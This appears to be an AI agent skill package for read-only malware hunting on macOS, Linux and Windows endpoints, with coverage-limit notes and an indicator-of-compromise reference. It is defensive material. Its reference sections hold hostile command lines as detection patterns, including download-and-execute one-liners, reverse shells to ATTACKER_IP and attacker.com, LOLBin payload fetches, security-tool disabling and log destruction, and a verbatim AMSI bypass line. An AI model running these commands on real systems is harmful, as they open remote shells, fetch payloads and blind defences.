# endpoint-threat-hunt

Hunt a live macOS, Linux, or Windows endpoint for malware across process, network, and persistence. Use to scan for threats or check for compromise.

- **Kind:** skill
- **Source:** https://github.com/forefy/.context
- **Page:** https://forefy.com/skills/3473e147-2769-46e4-8b75-5b8323632742
- **API (JSON + files):** https://forefy.com/api/asr/3473e147-2769-46e4-8b75-5b8323632742

---

## SKILL.md

---
name: endpoint-threat-hunt
description: Hunt a live macOS, Linux, or Windows endpoint for malware across process, network, and persistence. Use to scan for threats or check for compromise.
---

# Endpoint Threat Hunt Skill

## Identity

Expert IR analyst. Hunt malicious activity using native OS tools only. No agents, no kernel extensions, no SIP bypass. Read/query only - never modify, delete, or exfiltrate. T1 (no privs) or T2 (sudo/admin). Ambiguous finding → "Suspicious - requires manual review", not "Confirmed malicious". Document blind spots same as findings.

---

## Reference Files

Load on demand:

| File | Load When |
|------|-----------|
| `references/macos-checks.md` | OS = macOS/Darwin |
| `references/linux-checks.md` | OS = Linux |
| `references/windows-checks.md` | OS = Windows |
| `references/ioc-patterns.md` | Analyzing output, any OS |
| `references/coverage-constraints.md` | Building coverage gap section |

---

## Engagement Protocol

**Step 0 - Detect OS + privilege (always first):**

```bash
uname -s && id          # Unix
```
```powershell
[System.Environment]::OSVersion.Platform; whoami /priv   # Windows
```

- `Darwin` → macOS → load `macos-checks.md`
- `Linux` → load `linux-checks.md`
- `Windows_NT` → load `windows-checks.md`
- T1: `uid≠0`, no sudo/wheel/admin group. T2: `uid=0` or privileged group present.

**If T1 detected → ask before proceeding:**
> "You're running as a standard user. Some checks (auth logs, kernel modules, audit policy, etc.) require elevated privileges. Want me to request admin/root access via a native OS prompt for full coverage? If not, I'll run T1-only checks and mark T2 items as SKIP."
- If yes → elevate interactively per OS (below), then proceed T2.
- If no → proceed T1-only, all sudo commands → `⏭️ SKIP (T1 only - rerun elevated for full coverage)`.

**Interactive elevation (never ask the user to type a password into chat):**

- **macOS** - `osascript -e 'do shell script "<cmd>" with administrator privileges'`. Pops the native Touch ID/password dialog; the user authenticates directly with the OS, never with me. Batch multiple T2 commands into one `do shell script` call so the user is only prompted once.
- **Linux** - `pkexec <cmd>` if a polkit agent is running (GUI password dialog, same one-prompt principle). Headless/no GUI: ask the user to run `sudo -v` themselves in their terminal first, then hand off remaining T2 commands to that authenticated shell - never pass `sudo -S` a piped password.
- **Windows** - `Start-Process powershell -Verb RunAs -ArgumentList '-Command "<cmd>"'` triggers the native UAC consent prompt. If UAC is set to auto-deny or the user isn't an admin, ask them to relaunch an elevated PowerShell/Terminal session themselves.

**Step 1 - Scope:** Ask full scan (all 8 phases) or specific phase. If symptom given, prioritize matching phase but still complete full scan.

**Step 2 - Run commands:** Run every applicable check. If T2, sudo commands run normally. If T1, skip sudo commands with the T1-only label. Skip entirely only if binary is genuinely absent (`command -v tool` fails) or requires KEXT/eBPF/SIP bypass.

**Step 3 - Report:** After all phases, output checklist (see Report Format).

---

## Investigation Phases

Exact commands, IOC patterns, and flag criteria → see OS-specific reference file.

| # | Phase |
|---|-------|
| 1 | Process Activity |
| 2 | Network Activity |
| 3 | Persistence |
| 4 | File Activity |
| 5 | User & Account Activity |
| 6 | Driver/Module Activity |
| 7 | Script & Command Execution |
| 8 | EDR/Security Tool Status |

---

## Report Format

Checklist output - one bullet per check. No tables. No headers beyond phase name.

**Status symbols:**
- `✅ PASS` - ran clean, no IOCs
- `❌ FAIL` - confirmed malicious / critical IOC
- `⚠️ SUSPICIOUS` - anomaly, needs review
- `⏭️ SKIP` - binary absent (`command -v` fails) OR requires KEXT / SIP bypass / kernel agent. **Never SKIP just because a command needs sudo.**

**Format:**
```
## Phase 1: Process Activity
- ✅ PASS  Process tree - no orphaned or hollowed processes
- ⚠️ SUSPICIOUS  /tmp/update [pid 4821] - deleted executable still running
- ✅ PASS  No processes with injected memory regions
- ⏭️ SKIP  eBPF syscall trace - requires root + kernel support

## Phase 2: Network Activity
- ✅ PASS  No unexpected listeners
- ❌ FAIL  192.168.1.5:4444 outbound TCP - matches C2 pattern
...

## Coverage Gaps
- ⏭️ SKIP  Kernel rootkit detection - requires eBPF or KEXT
- ⏭️ SKIP  Memory forensics - requires agent
```

**Rules:**
- One check = one bullet. No sub-bullets.
- Evidence goes inline after the status: `⚠️ SUSPICIOUS  [what was found] - [why suspicious]`
- After checklist, one-line summary: `X FAIL | X SUSPICIOUS | X SKIP | X PASS`
- No severity tables, no confidence columns, no next-steps sections.

---

## Rules

1. Batch commands by phase.
2. Read/query only. No `rm`, `kill`, `net stop`, file writes.
3. No data exfiltration. Analysis local only.
4. Max value at T1 - don't skip, document what T2 adds.
5. Ambiguous = "Suspicious - requires manual review".
6. Explain WHY suspicious, not just what was found.
8. Timestamps relative to install date + last known-good + now.

9. **If something looks like a false positive, say so.** E.g., "This LaunchAgent is from Homebrew (com.github.homebrew) - common on developer machines, low confidence IOC."

10. **Complete the scan.** Do not stop after finding one issue. Continue all phases - attackers often plant multiple persistence mechanisms and move laterally. One finding does not mean you've found everything.

## references

```

```

## references/coverage-constraints.md

# Coverage Constraints Reference

> Defines what skill CANNOT detect + why. Overstating coverage → false confidence. Report gaps every hunt.

---

## Coverage Score Summary

| Category | macOS T1 | macOS T2 | Linux T1 | Linux T2 | Windows T1 | Windows T2 |
|---|---|---|---|---|---|---|
| Process Activity | 60% | 75% | 65% | 80% | 65% | 80% |
| Network Activity | 85% | 90% | 85% | 95% | 85% | 90% |
| Persistence | 80% | 90% | 80% | 90% | 75% | 90% |
| File Activity | 65% | 75% | 70% | 85% | 70% | 80% |
| User/Account | 75% | 90% | 80% | 90% | 75% | 90% |
| Driver/Module | 40% | 55% | 30% | 70% | 30% | 70% |
| Script Activity | 70% | 80% | 75% | 85% | 75% | 85% |
| Process Injection | 5% | 10% | 5% | 15% | 5% | 15% |
| Memory-only Threats | 0% | 0% | 0% | 0% | 0% | 0% |
| EDR Status | 90% | 95% | 90% | 95% | 90% | 95% |

**Score meaning:**
- % = fraction of real-world techniques detectable with native OS commands at privilege level.
- 0% ≠ no value - native-command approach blind to that threat class. Needs dedicated tool.
- Even 60% catches real compromise - attackers make mistakes, leave artifacts in high-coverage categories.

---

## macOS Coverage Constraints

### Cannot Detect: Real-Time Process Injection

**Missed:** Dylib injection, `task_for_pid` exploitation, `DYLD_INSERT_LIBRARIES` abuse in running process.

**Why blind:** Needs Apple ESF - kernel framework streaming process events to userspace. ESF requires:
1. System Extension (needs SIP + Apple's System Extension entitlement)
2. `com.apple.developer.endpoint-security.client` entitlement (Apple-granted)
3. FDA for System Extension

None available to ad-hoc terminal session.

**CAN detect (partial):**
- Past `task_for_pid` in historical logs (T2, via `log show`)
- Unusual dylibs in process memory maps (retrospective, not real-time)
- Unusual `DYLD_INSERT_LIBRARIES` env var via `ps auxeww`

**Fix:** Deploy EDR with ESF system extension (CrowdStrike, SentinelOne, Elastic, MDE).

---

### Cannot Detect: Memory-Only Malware

**Missed:** Malware entirely in RAM - shellcode injected into legit process, `NSCreateObjectFileImageFromMemory`, fileless execution. Never writes binary to disk.

**Why blind:** Toolset only queries OS structures (process lists, file paths, network). Memory forensics needs:
1. Memory acquisition tool (`osxpmem`)
2. Analysis framework (Volatility + macOS profile)
3. Root + kernel extension for acquisition

**CAN detect (partial):**
- Network connections FROM injected legit process - activity still shows up
- Anomalous behavior FROM legit process (unusual CPU, unexpected network)
- Disk artifacts if dropper wrote to disk before deleting

**Fix:** Deploy memory forensics. Volatility + `osxpmem` for post-incident.

---

### Cannot Detect (Without FDA): TCC Database Full Contents

**Missed:** Camera, Mic, Screen Capture, Contacts, Calendar, FDA, and other TCC permissions - complete visibility.

**Why blind:** TCC DB at:
- `/Library/Application Support/com.apple.TCC/TCC.db` (system-level, SIP-protected)
- `~/Library/Application Support/com.apple.TCC/TCC.db` (user-level, needs T2 + FDA)

**T1:** No access to either.  
**T2 without FDA:** User-level only.  
**T2 with FDA:** Full access.

**Fix:** Grant Terminal FDA in System Settings > Privacy & Security > Full Disk Access, re-run at T2.

---

### Cannot Detect: XPC Service Abuse

**Missed:** Attacker abuses misconfigured XPC services to escalate privs or execute code in privileged service context - no new process spawned.

**Why blind:** XPC comms = kernel space. Needs ESF or custom kext to monitor.

**CAN detect (partial):**
- Unusual processes receiving XPC connections (via `lsof`)
- Anomalous XPC service behavior (unusual network, file writes)

---

### SIP-Protected Paths (Cannot Read)

Unreadable even with root (T2):
- `/System/Library/*` - system frameworks + daemons
- `/usr/lib/*` - system libraries
- `/usr/bin/`, `/usr/sbin/` - utilities (executable, not writable)
- `/dev/kmem` - fully inaccessible

**Hunting implications:**
- Malware compromising these (needs SIP disabled) → undetectable
- `csrutil status` - if SIP disabled, all paths suspect
- `codesign --verify` for integrity (reads cached sig info)

---

### Cannot Detect: Gatekeeper Bypass via Already-Approved Apps

**Missed:** Attacker smuggles malicious code inside Gatekeeper-approved app downloading payloads at runtime - Gatekeeper won't recheck runtime downloads.

**Why blind:** Gatekeeper runs only at first launch + Safari/Mail/Finder downloads. Runtime downloads bypass check entirely.

**CAN detect:**
- Payloads on disk (file checks)
- Download network connections (network checks)
- Payload execution (process checks)

---

### macOS Logging Gaps

| Log Source | T1 | T2 | Notes |
|------------|----|----|-------|
| Unified Logging (`log show`) | No | Yes | Needs sudo |
| System.log | No | Yes | Protected |
| XProtect/MRT events | No | Yes | Via `log show` |
| TCC events | No | Yes + FDA | |
| Security daemon events | No | Yes | `com.apple.securityd` subsystem |
| SSH auth events | No | Yes | |
| Sudo events | No | Yes | |
| `eslogger` | No | Yes | macOS 13+, needs entitlement |

---

## Linux Coverage Constraints

### Cannot Detect: Kernel-Mode Rootkits

**Missed:** LKM rootkits patching running kernel to hide processes, files, connections, modules. Classic: Diamorphine, Reptile, Azazel.

**Why blind:** Rootkit patches `/proc` handlers - `ps`, `ss`, `ls`, `lsmod` only show what rootkit allows. Detection needs:
1. Compare kernel symbols against clean baseline (`/proc/kallsyms`)
2. Hardware-level memory acquisition (no native tool)
3. `rkhunter` or `chkrootkit` (specialized, not native)
4. Compare syscall tables against expected values
5. Memory dump via Volatility

**CAN detect (partial):**
- `lsmod` empty vs `/proc/modules` has content
- `ss`/`netstat` vs `/proc/net/tcp` mismatch
- Unexpected syscall table mods (T2, via `dmesg`)

**Heuristic:** `ps aux | wc -l` vs `ls /proc | grep -c '^[0-9]'` - count differs = rootkit hiding procs.

---

### Cannot Detect Without CAP_SYS_ADMIN: eBPF by Other Users

**Missed:** eBPF programs from other users using kernel probes - intercept syscalls, network, file access. eBPF rootkit hides connections, steals creds, filters audit events.

**Why blind:** `bpftool prog list` needs `CAP_SYS_ADMIN`.

**T1:** No eBPF enumeration.  
**T2:** Enumerate ALL eBPF with `bpftool`.

---

### Cannot Detect Without ptrace: Process Memory Inspection

**Missed:** Injected shellcode, heap-sprayed payloads, in-memory payloads in other users' processes.

**Why blind:** `/proc/PID/mem` needs root or `CAP_SYS_PTRACE`.

**T1:** Own processes only (`/proc/self/mem`).  
**T2:** Any process's memory.

---

### Cannot Detect: Container Escapes

**Missed:** Process inside container escaped to host via breakout (CVE-2019-5736 runc, dirty COW, etc.).

**Why blind:** Hunt inside container = only container namespace visible. Host FS, proc list, network namespace invisible.

**Proper hunt:** Run from HOST. Check for unexpected processes in host namespaces.

---

### Audit Coverage Gaps Without auditd

**Missed (no auditd):**
- No historical process execution (current state via `ps` only)
- No record of created-then-deleted files
- No record of who ran what commands as which user
- No closed network connection record
- No login failures beyond `/var/log/auth.log` (if exists)
- No syscall audit trail

**Core limit:** Hunt is POINT-IN-TIME. Current state + recent log history + uncleaned artifacts only. Cannot reconstruct timeline without configured logs.

**Fix:** Install + configure `auditd`. Key rules:
```
-a always,exit -F arch=b64 -S execve -k process_exec
-a always,exit -F arch=b64 -S connect -k network_connect
-w /etc/passwd -p wa -k account_changes
-w /etc/shadow -p wa -k account_changes
-w /etc/sudoers -p wa -k sudoers
```

---

### Cannot Detect: Supply Chain / Trojanized Packages

**Missed:** System binary (`/usr/bin/ls`, `/usr/bin/ps`) replaced via compromised package repo or build pipeline - commands lie.

**CAN detect (partial):**
- Package hash comparison: `rpm -V` (RHEL) or `debsums` (Debian)
- `aide`/`tripwire` DB comparison (if pre-installed with baseline)
- Binary modification timestamps vs package install dates

---

## Windows Coverage Constraints

### Cannot Detect Without Admin: Kernel-Mode Rootkits

**Missed:** DKOM rootkits, bootkits, MBR/VBR infection, UEFI implants. Run below OS - manipulate OS structures to hide processes, connections, registry.

**Why blind:** Ring 0 or below. PowerShell only sees what kernel reports. Compromised kernel = compromised PowerShell. Detection needs:
1. Virtualization-based security analysis
2. Kernel debugger
3. Memory forensics with `winpmem` + Volatility
4. Bootkit scanning (specialized offline tools)

---

### Cannot Detect: Process Hollowing

**Missed:** Attacker creates legit process (`svchost.exe`), unmaps memory, maps malicious code. `Get-Process` shows legit path - running malware.

**Why blind:** `Get-Process` + `Win32_Process` show binary PATH, not in-memory code. Post-hollow: path still shows `C:\Windows\System32\svchost.exe`.

**CAN detect (partial):**
- `svchost.exe` with suspicious cmd args (legit has `-k NetworkService` etc.)
- `svchost.exe` not from `C:\Windows\System32\`
- Authenticode mismatch on binary file (file on disk may be legit - only memory hollow)

**Heuristic:** `Get-AuthenticodeSignature` on path - FILE should match. In-memory differs → won't catch without memory scan.

**Fix:** Deploy memory integrity scanning (CrowdStrike, SentinelOne, MDE detect hollowing real-time).

---

### Cannot Detect Without ETW Kernel Providers: DLL Injection

**Missed:** DLL injection into legit processes (CreateRemoteThread, SetWindowsHookEx, AppInit_DLLs, reflective DLL loading).

**Why blind:** Detection needs comparing DLL list against known-good baseline - requires process memory access. PowerShell can't enumerate in-memory modules without kernel access.

**CAN detect (partial):**
- `AppInit_DLLs` registry key (static config - see Windows checks)
- DLL files on disk in suspicious locations pre-injection
- Authenticode check for DLLs in suspicious locations

---

### Logging Gaps Without Audit Policy

**Missed (no audit policy):**
- **4688 (Process Creation):** Not logged without "Audit Process Creation" enabled. No process record.
- **4688 + cmd line:** Needs `ProcessCreationIncludeCmdLine_Enabled = 1`
- **4104 (Script Block Logging):** Needs Group Policy config
- **4656/4663 (Object Access):** Needs "Audit Object Access" + SACL on objects

**Implication:** No audit policy = no PowerShell, no script execution, no file access logging. Current state only.

**Check:** `auditpol /get /category:*` (T2 required)

---

### Cannot Detect Without Admin: Other Users' WMI Subscriptions

**Missed:** WMI subscriptions in non-default namespaces or owned by other users (most malware uses `root\subscription`).

**T1:** Can read `root\subscription` (most malware location).  
**T2:** Enumerate all namespaces.

---

### Cannot Detect: AMSI Bypass

**Missed:** AMSI bypass patches in PowerShell process memory - patches in-memory AMSI table to return "clean". No persistent registry or file change.

**Why blind:** Memory-only patch. No file/registry artifact. Needs live memory scan.

**CAN detect (partial):**
- History showing AMSI bypass: `[Ref].Assembly.GetType('System.Management.Automation.Am' + 'siUtils').GetField('am' + 'siInitFailed','NonPublic,Static').SetValue($null,$true)` (+ variants)
- Script Block Logging showing obfuscated bypass attempts (logged BEFORE bypass succeeds, if SBL enabled)

---

### Cannot Detect: UEFI/Firmware Implants

**Missed:** Malware in UEFI firmware (LoJax, MosaicRegressor, CosmicStrand). Survives OS reinstall, disk replacement, all user-space security.

**Why blind:** UEFI runs below OS. PowerShell has no firmware visibility.

**Fix:** `chipsec` (needs admin) for UEFI integrity. Kaspersky/ESET have UEFI scanning.

---

## Universal Constraints (All OSes)

### Memory-Only Malware

**Coverage: 0% at any privilege level - native tools only**

No native OS command does memory forensics. Detecting memory-only threats needs:
1. **Acquisition:** `osxpmem` (macOS), `LiME` kmod (Linux), `winpmem` (Windows)
2. **Analysis:** Volatility + OS-specific profiles
3. **Look for:** Injected shellcode, process hollowing, syscall table hooks, hidden connections

Dedicated discipline (DFIR memory forensics) - specialized tools + training required.

---

### Historical File Activity

**Coverage: Limited at all levels**

Only see currently existing files. Malware can:
- Drop + execute + delete binary → only visible via lsof/proc if still running
- Modify + restore file → mtime may show, can't recover change
- Create + delete file (no longer running) → invisible

**Partial help:**
- `auditd`/Windows audit policy configured BEFORE incident
- File timestamps reveal activity sequence
- `.bash_history` + logs may reference deleted files

---

### Encrypted C2 Channels

**Coverage: Network detection only**

CAN detect: process with connection + destination IP/domain + timing (beacon intervals = suspicious).

CANNOT:
- Decrypt TLS/HTTPS to inspect C2 commands
- Distinguish legit HTTPS from HTTPS-mimicking C2 by content
- Detect DoH C2 (looks same as legit DoH)

---

### Baseline-Dependent Coverage

**All % assume no pre-existing baseline.**

With clean baseline (file hashes, proc list, connections, scheduled tasks) → coverage improves significantly via diff. Maintaining baselines = key gap in most programs without dedicated EDR.

---

## Tools to Fill Coverage Gaps

| Gap | Tool | Notes |
|-----|------|-------|
| Memory forensics (all OS) | Volatility + OS-specific acquisition | `osxpmem`, `LiME`, `winpmem` |
| Real-time process monitoring (macOS) | ESF-based EDR (CrowdStrike, SentinelOne, MDE, Elastic) | Needs System Extension entitlement |
| Kernel rootkit detection (Linux) | `rkhunter`, `chkrootkit`, `aide` | Compare against known-good DB |
| eBPF monitoring (Linux) | `tetragon` (Cilium), Falco | Open-source kernel-level |
| Process hollowing detection (Windows) | CrowdStrike, SentinelOne, MDE | Memory scanning in EDR |
| UEFI/firmware scanning (Windows) | `chipsec`, ESET, Kaspersky | Specialized firmware analysis |
| File integrity monitoring (all OS) | `aide` (Linux), `tripwire` (all), `osquery` | Needs pre-established baseline |
| Historical activity reconstruction | SIEM + endpoint log forwarding | Needs continuous logging |

## references/ioc-patterns.md

# IOC Patterns Reference

> Analyze command output during hunt. Patterns distinguish malicious from benign. Match = flag at severity indicated.

---

## Universal Red Flags (All OSes)

Suspicious regardless of OS:

### Executables in Temp/World-Writable Dirs
**Severity:** Critical  
**Pattern:** Executable binary (`.exe`, `.dll`, `.so`, `.dylib`, compiled ELF) running from or staged in:
- Linux/macOS: `/tmp/`, `/var/tmp/`, `/dev/shm/`, `/run/user/*/`
- Windows: `%TEMP%`, `%APPDATA%`, `%LOCALAPPDATA%`, `C:\Users\*\Downloads\`

**Why malicious:** Legit software runs from stable managed locations (`/usr/bin`, `C:\Program Files`, `/Applications`). Malware drops to writable locations - can't write to system dirs.

**False+:** Very low. Exceptions: some updaters use temp as brief staging, pkg managers during install.

---

### Processes with Deleted/Unlinked Executables
**Severity:** Critical  
**Pattern:** `lsof +L1` hit, OR `/proc/*/exe -> ... (deleted)`, OR process with no binary on disk.

**Why malicious:** Malware drops binary, executes, then deletes to:
1. Prevent AV scanning
2. Hinder forensic recovery
3. Hide binary existence

Near-universal indicator - legit software almost never deletes own executable while running.

**False+:** Extremely low on macOS/Linux. Rare: some auto-updaters briefly during transition.

---

### Unsigned or Self-Signed Binaries in Unexpected Locations
**Severity:** High  
**Pattern:**
- macOS: `codesign -dv` returns "code object is not signed" or "CSSMERR_TP_NOT_TRUSTED"
- Windows: `Get-AuthenticodeSignature` returns `NotSigned` or `HashMismatch`
- Linux: Check pkg mgr: `rpm -qf <binary>` or `dpkg -S <binary>` - not in any package = flag

**Why malicious:** Legit commercial/system software is signed. Malware typically unsigned (no trusted CA certs) or self-signed.

**False+:** Medium. Homebrew, custom scripts, dev tools often unsigned. Context matters - `/usr/local/bin` ≠ `/tmp`.

**Escalate when:** Unsigned binary in persistence location, running as service/daemon, or has network connections.

---

### Outbound Connections from Unusual Processes
**Severity:** High  
**Pattern:** Network connection from:
- `bash`, `sh`, `zsh` - shell making direct connection
- `python`, `perl`, `ruby`, `php` with external connection
- `cmd.exe`, `powershell.exe` with external (not to update servers)
- System utilities (`ls`, `ps`, `cat`, `grep`) - NEVER should have network connections

**Why malicious:** Reverse shell or C2 beacon. Legit orchestration uses runtimes with network access but tied to known scripts/tasks, not interactive launch.

**False+:** Medium for scripting langs (legit automation). Very Low for shells and system utilities.

---

### RFC1918 Connections on Non-Standard Ports
**Severity:** Medium-High  
**Pattern:** TCP connections to `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16` on non-standard ports (not 22/80/443/3306/5432/8080/etc.).

**Why malicious:** Lateral movement indicator. Post-compromise, attackers move to other internal systems using non-standard ports for C2/staging.

**False+:** Medium. Many legit apps use non-standard internal ports.

---

### DNS Queries to DGA-Like or Unusual Domains
**Severity:** High  
**Pattern:**
- 10+ random-looking chars (entropy DGA): `asdkfjqwe.top`, `xn--234kl.cc`
- Unusual TLDs: `.top`, `.xyz`, `.tk`, `.pw`, `.cc`, `.ml`, `.ga`, `.cf` - free, commonly abused
- Domains registered < 30 days ago (check WHOIS)
- Long encoded subdomains (DNS C2): `b64encodeddata.legit-looking-domain.com`

**False+:** Medium - legit services use unusual TLDs. Context + registration recency matter.

---

### Cron/Scheduled Tasks with Download-and-Execute
**Severity:** Critical  
**Pattern:**
```
# These patterns in cron, scheduled tasks, or startup scripts:
curl http[s]://... | bash
curl http[s]://... | sh  
wget -O- http[s]://... | bash
wget -q http[s]://... -O /tmp/x && chmod +x /tmp/x && /tmp/x
python -c "import urllib; exec(urllib.urlopen('http://...').read())"
powershell -enc <base64> 
IEX(New-Object Net.WebClient).DownloadString('http://...')
```

**Why malicious:** Classic malware installer/updater. Legit update mechanisms use signed packages, not download-and-execute.

**False+:** Low. Some legacy DevOps pulls configs via curl/wget, but not piped to shell.

---

### New User Accounts or Recently Changed Passwords
**Severity:** Medium-High  
**Pattern:**
- User account created, no IT ticket or change record
- Privileged account (root, Administrator) password changed at unusual hours
- New account immediately added to privileged groups

**False+:** Medium - depends on org change management. Always verify against expected changes.

---

### SSH Authorized Keys with Unexpected Entries
**Severity:** High  
**Pattern:** `~/.ssh/authorized_keys` has unrecognized keys, or keys with:
- `command="bash -i"` - every SSH auth runs shell
- No `from=""` restriction on server
- Multiple keys where only one expected

**False+:** Low. Unexpected SSH keys almost always worth investigating.

---

### Shell History Showing Attack Patterns
**Severity:** Varies by pattern  
**Patterns and severity:**

| Pattern | Severity | Notes |
|---------|----------|-------|
| `curl \| bash` or `wget \| sh` | Critical | Download and execute |
| `echo "<base64>" \| base64 -d \| bash` | Critical | Encoded payload execution |
| `python -c "import socket..."` | Critical | Classic Python reverse shell |
| `bash -i >& /dev/tcp/IP/PORT 0>&1` | Critical | Bash TCP reverse shell |
| `nc -e /bin/bash IP PORT` | Critical | Netcat reverse shell |
| `chmod +x /tmp/...` | High | Making dropped binary executable |
| `codesign --remove-signature` | High | macOS Gatekeeper bypass |
| `xattr -d com.apple.quarantine` | High | macOS quarantine removal |
| `Set-MpPreference -DisableRealtime` | Critical | Windows Defender disable |
| `setenforce 0` | High | Linux SELinux disable |
| `iptables -F` | High | Linux firewall flush |
| `history -c` or `> ~/.bash_history` | High | Covering tracks |
| `rm -rf /var/log/` | Critical | Log destruction |
| `last -d -c` | Medium | Clearing login history |

---

### Security Tools Not Running
**Severity:** High  
**Pattern:** EDR/AV installed but not running:
- Agent process dir exists but not in `ps`
- Service registered but status = `stopped`
- Config files present but binary missing

**False+:** Low. Tools can crash or be disabled by IT, but managed endpoints should auto-recover.

---

## macOS-Specific IOCs

### LaunchAgent/LaunchDaemon Pointing to Non-App Paths
**Severity:** Critical  
**Pattern:**
```xml
<key>ProgramArguments</key>
<array>
    <string>/bin/bash</string>
    <string>-c</string>
    <string>/Users/user/Library/caches/update.sh</string>  <!-- Red flag -->
</array>
```

**Legitimate paths look like:**
```xml
<string>/Applications/AppName.app/Contents/MacOS/AppName</string>
<string>/usr/local/bin/known-tool</string>
```

**Red flag paths:**
- `~/Library/` (outside known `.app` bundle)
- `/tmp/`, `/var/folders/`
- `~/Downloads/`, `~/Desktop/`
- Any path with `.sh`, `.py`, `.rb` (script execution via LaunchAgent = unusual)

---

### Quarantine Attribute Removed
**Severity:** Medium-High  
**Pattern:** `xattr -l <file>` shows NO `com.apple.quarantine` on supposedly-downloaded file.

**Why malicious:** macOS adds quarantine xattr to downloaded files. Removing it bypasses Gatekeeper first-run check. Attackers use `xattr -d com.apple.quarantine` to run unsigned/malicious apps without warning.

**False+:** Medium - some devs strip quarantine from own tools, some pkg managers do. Context matters.

---

### osascript in History
**Severity:** Medium  
**Pattern:** `osascript -e '...'` in shell history, especially with:
- `do shell script "..."` - executes shell commands
- `display dialog` - social engineering UI
- `System Events` and `click` - UI automation for privilege prompting

**Why relevant:** AppleScript used in macOS malware for:
- Social engineering (fake dialogs asking for passwords)
- Shell commands from Apple-signed interpreter (bypass AV)
- Automating UI interactions (accepting permissions dialogs)

**False+:** Medium - devs and power users legitimately use osascript.

---

### Gatekeeper Disabled
**Severity:** High  
**Pattern:** `spctl --status` returns `assessments disabled`

**Why malicious:** Gatekeeper disabled = unsigned/unnotarized binaries run without warning. Sometimes done by attackers post-access to allow installing additional tools.

---

### TCC Privacy Grants to Unknown Apps
**Severity:** High  
**Pattern:** TCC DB shows grant for:
- `kTCCServiceCamera` - camera access
- `kTCCServiceMicrophone` - microphone access
- `kTCCServiceScreenCapture` - screen recording
- `kTCCServiceSystemPolicyAllFiles` - Full Disk Access
- `kTCCServiceAddressBook` - contacts
- `kTCCServiceCalendar` - calendar
...granted to app you don't recognize.

**False+:** Low for camera/mic/screen. Medium for FDA (some backup/AV tools need this).

---

### Processes Using task_for_pid (Injection Indicator)
**Severity:** High  
**Pattern:** Processes calling `task_for_pid` on another process's PID. Check:
```bash
sudo log show --predicate 'eventMessage contains "task_for_pid"' --last 4h --style compact
```

**Why malicious:** `task_for_pid` = macOS process injection - gives one process access to another's memory. Legit uses extremely limited (debuggers, Instruments).

---

## Linux-Specific IOCs

### Files in /dev/shm
**Severity:** Critical  
**Pattern:** ANY regular file (`-type f`) in `/dev/shm/`

**Why malicious:** `/dev/shm` = memory-backed tmpfs. Files exist only in RAM (not on disk after reboot). Malware uses to:
1. Avoid disk-based AV
2. Execute without touching persistent storage
3. Self-destruct on reboot

**False+:** Very low. Chrome/some DBs use shared memory segments but named after app and not executables.

---

### Executable Files in /tmp with SUID Bit
**Severity:** Critical  
**Pattern:** `find /tmp -perm -4000 -type f` returns results

**Why malicious:** SUID in `/tmp` = any user runs it as file owner. If root-owned: instant privilege escalation tool planted by attacker.

---

### .bashrc/.profile Containing Reverse Shell
**Severity:** Critical  
**Pattern:**
```bash
# These patterns in .bashrc, .bash_profile, .profile, /etc/profile.d/
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
python -c 'import socket,subprocess,os;...'
nc -e /bin/bash ATTACKER_IP PORT
ncat ATTACKER_IP PORT -e /bin/bash
/bin/bash -l > /dev/tcp/ATTACKER_IP/PORT 0<&1 2>&1
```

**Also flag (less obvious but suspicious):**
```bash
alias sudo='sudo nc -e /bin/bash attacker.com 4444 &'  # Credential harvesting
export PATH=/tmp:$PATH  # PATH hijacking
```

---

### Systemd Service with ExecStart in /tmp or /dev/shm
**Severity:** Critical  
**Pattern:**
```ini
[Service]
ExecStart=/tmp/update-service.sh
# or
ExecStart=/dev/shm/.hidden_service
```

**Why malicious:** Legit services install to `/usr/lib/systemd/system/` and run from `/usr/bin/`, `/usr/sbin/`, `/opt/vendor/`. Pointing to world-writable dirs = planted persistence.

---

### Kernel Module Not in Distribution
**Severity:** High  
**Pattern:** `lsmod` output shows modules not in:
- Distribution modules: `find /lib/modules/$(uname -r) -name "*.ko" | xargs basename -s .ko`
- Known security tool modules: `falco`, `sfc`, `elastic`, `elastic-agent`

**Flag:** Modules with legit-sounding names not in module directory, or loaded from custom paths in dmesg.

---

### eBPF Programs from Non-Security-Tool Processes
**Severity:** High  
**Pattern:** `bpftool prog list` shows programs loaded by processes other than:
- Known security tools (Falco, Datadog, Elastic, Cilium, Calico, Tetragon)
- System networking tools (`tc`, `ip`, `bpftrace` for legit debugging)

**Why malicious:** eBPF runs in kernel space with high privs. Attacker with root loading custom eBPF = intercept syscalls, hide network traffic, steal creds, hide processes - all from kernel space, no traditional kmod needed.

---

## Windows-Specific IOCs

### PowerShell Encoded Command
**Severity:** Critical  
**Pattern:**
```
powershell.exe -EncodedCommand <long base64 string>
powershell.exe -enc <long base64 string>
powershell.exe -e <long base64 string>
```

**Why malicious:** Base64-encoding PS commands = primary evasion against string matching + script block scanners. Rare legit use.

**Decode:** `[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('<base64>'))`

**False+:** Low. Legit enterprise automation passes scripts as files, not encoded strings.

---

### LOLBin Abuse (Living Off the Land)
**Severity:** High  
**Pattern - These legitimate Windows binaries being used maliciously:**

| Binary | Malicious Usage Pattern | Notes |
|--------|------------------------|-------|
| `rundll32.exe` | `rundll32 \\live.sysinternals.com\...` or `rundll32 javascript:"...\..."` | Should only run local DLLs with known exports |
| `regsvr32.exe` | `regsvr32 /s /u /i:http://...` | "Squiblydoo" - bypasses AppLocker |
| `mshta.exe` | `mshta.exe http://...` | HTML Application from URL |
| `certutil.exe` | `certutil -decode b64file.txt output.exe` | Base64 decode to executable |
| `bitsadmin.exe` | `bitsadmin /transfer job http://...` | Download to disk |
| `wmic.exe` | `wmic process call create "powershell.exe -enc..."` | Process creation evasion |
| `msiexec.exe` | `msiexec /quiet /i http://...` | Remote MSI install |
| `odbcconf.exe` | `odbcconf /a {REGSVR \\attacker.com\...dll}` | DLL execution |

---

### WMI Event Subscription (Always Critical)
**Severity:** Critical  
**Pattern:** `Get-WmiObject -Namespace root\subscription` returns ANY binding with `__EventConsumer` executing code.

**Why malicious:** WMI subscriptions survive reboots, run silently with no visible process, invisible to standard persistence checks. High-sophistication APT technique.

**False+:** Near zero. Almost no legit commercial software uses WMI subscriptions. Known exceptions: some Microsoft backup/SCCM tools - identifiable by component names.

---

### Named Pipe Matches C2 Framework Defaults
**Severity:** Critical  
**Cobalt Strike default pipe names:**
- `\\.\pipe\msagent_*` (SMB beacon default)
- `\\.\pipe\MSSE-*-server` (process injection comms)
